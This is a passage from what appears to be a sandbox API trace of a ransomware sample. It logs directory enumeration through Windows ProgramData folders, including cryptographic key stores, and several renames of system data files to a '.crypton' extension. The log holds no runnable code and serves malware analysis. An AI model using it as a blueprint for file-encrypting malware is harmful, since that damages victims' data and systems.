lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb018180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb018180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.966] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb03e2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb03e2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.974] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb03e2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb03e2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.983] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb064440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb064440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0184.024] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xeb0b0700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb0b0700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0184.033] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb0d6860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb0d6860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.039] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb0d6860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb0d6860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.060] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb0fc9c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb0fc9c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0184.135] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb1bb0a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb1bb0a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0184.155] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb207360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb207360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.222] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb29f8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb29f8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0184.327] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeb384120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb384120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0184.340] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb3aa280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3aa280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0184.345] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeb3d03e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3d03e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0184.356] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb3d03e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3d03e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.362] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb3f6540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3f6540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.367] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb3f6540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3f6540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.373] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeb41c6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb41c6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.379] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeb41c6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb41c6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.386] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeb41c6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb41c6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.391] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeb442800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb442800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.399] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeb442800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb442800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0184.404] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb468960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb468960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.453] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xeb468960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb468960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.476] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeb500ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb500ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.502] GetFileType (hFile=0x1f0) returned 0x1 [0184.528] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeb599460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb599460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.534] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeb599460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb599460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.558] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xeb5bf5c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb5bf5c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.573] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xeb5e5720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb5e5720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.578] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb60b880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb60b880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0184.586] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb60b880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb60b880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.591] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb6319e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb6319e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0184.896] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat.crypton" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat.crypton"), dwFlags=0x2) returned 1 [0185.382] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat.crypton" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat.crypton"), dwFlags=0x2) returned 1 [0185.390] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebdc8000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdc8000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0185.396] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebdc8000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdc8000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0185.400] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebdc8000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdc8000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0185.406] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebdee160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdee160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0185.413] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebdee160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdee160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0185.420] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebe142c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebe142c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0185.584] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.crypton" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat.crypton"), dwFlags=0x2) returned 1 [0185.945] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.crypton" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.crypton"), dwFlags=0x2) returned 1 [0185.955] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec323180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec323180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0185.959] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec323180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec323180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0185.964] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec3492e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, 